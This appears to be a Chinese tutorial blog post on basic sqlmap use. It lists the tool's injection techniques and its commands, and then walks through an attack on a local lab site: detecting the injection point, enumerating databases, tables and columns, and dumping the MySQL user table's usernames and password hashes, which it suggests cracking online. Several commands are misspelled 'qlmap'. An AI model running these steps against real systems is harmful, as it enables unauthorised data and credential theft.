sqlmap的基本使用方法

时间:2024-03-18 19:44:48

介绍

 

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞

SQLMap采用了以下5种独特的SQL注入技术。

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句时的注入。

SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果

 

基本命令

 

sqlmap  -u  URL                         检查注入点
qlmap  -u  URL  --dbs                列出数据库的名字
qlmap  -u  URL  --is-dba            当前用户是否是数据库管理员
qlmap  -u   URL  --current-db    显示当前数据库的名字

 

-D                                                 指定数据库
--tables                                        列出所有表名
qlmap  -u URL -D "xx"  --tables    列出xx数据库中的所有表

 

-T                                                  指定一个表
--columns                                    列出所有的字段名
qlmap  -u  URL  -D "xx"  -T  "cc"  --columns     列出表中所有的字段名

 

-C                                                 指定一个字段名
--dump                                         列出字段内容
qlmap  -u  URL  -D "xx"  -T  "cc"   -C  "x,x,.."  --dump     列出字段内容

 

栗子

 

对本地的网站   http://192.168.1.8/cms/show.php?id=33进行sql注入,(我先用safe3 Web扫描工具扫出了其存在sql注入漏洞)

 

1.检测注入点

 

.sqlmap的基本使用方法

 

中间有三次提示让你输yes或者no,直接输yes就好了。

 

sqlmap的基本使用方法

说明可以注入

 

2.爆出数据库的名字

 

sqlmap -u http://192.168.1.8/cms/show.php?id=33 --dbs

sqlmap的基本使用方法

 

3.指定数据库名,爆所有的表

 

sqlmap -u http://192.168.1.8/cms/show.php?id=33 -D mysql --tables

sqlmap的基本使用方法

上面就是mysql中所有的表

 

4.指定表名,列出所有的字段名

 

sqlmap -u http://192.168.1.8/cms/show.php?id=33 -D mysql -T user --columns

sqlmap的基本使用方法

 

5. 指定字段名列出数据

 

sqlmap -u http://192.168.1.8/cms/show.php?id=33 -D mysql -T user -C "user,password" --dump

sqlmap的基本使用方法

 

password字段中的数据为md5加密,我们可以去在线解密 www.cmd5.com

sqlmap的基本使用方法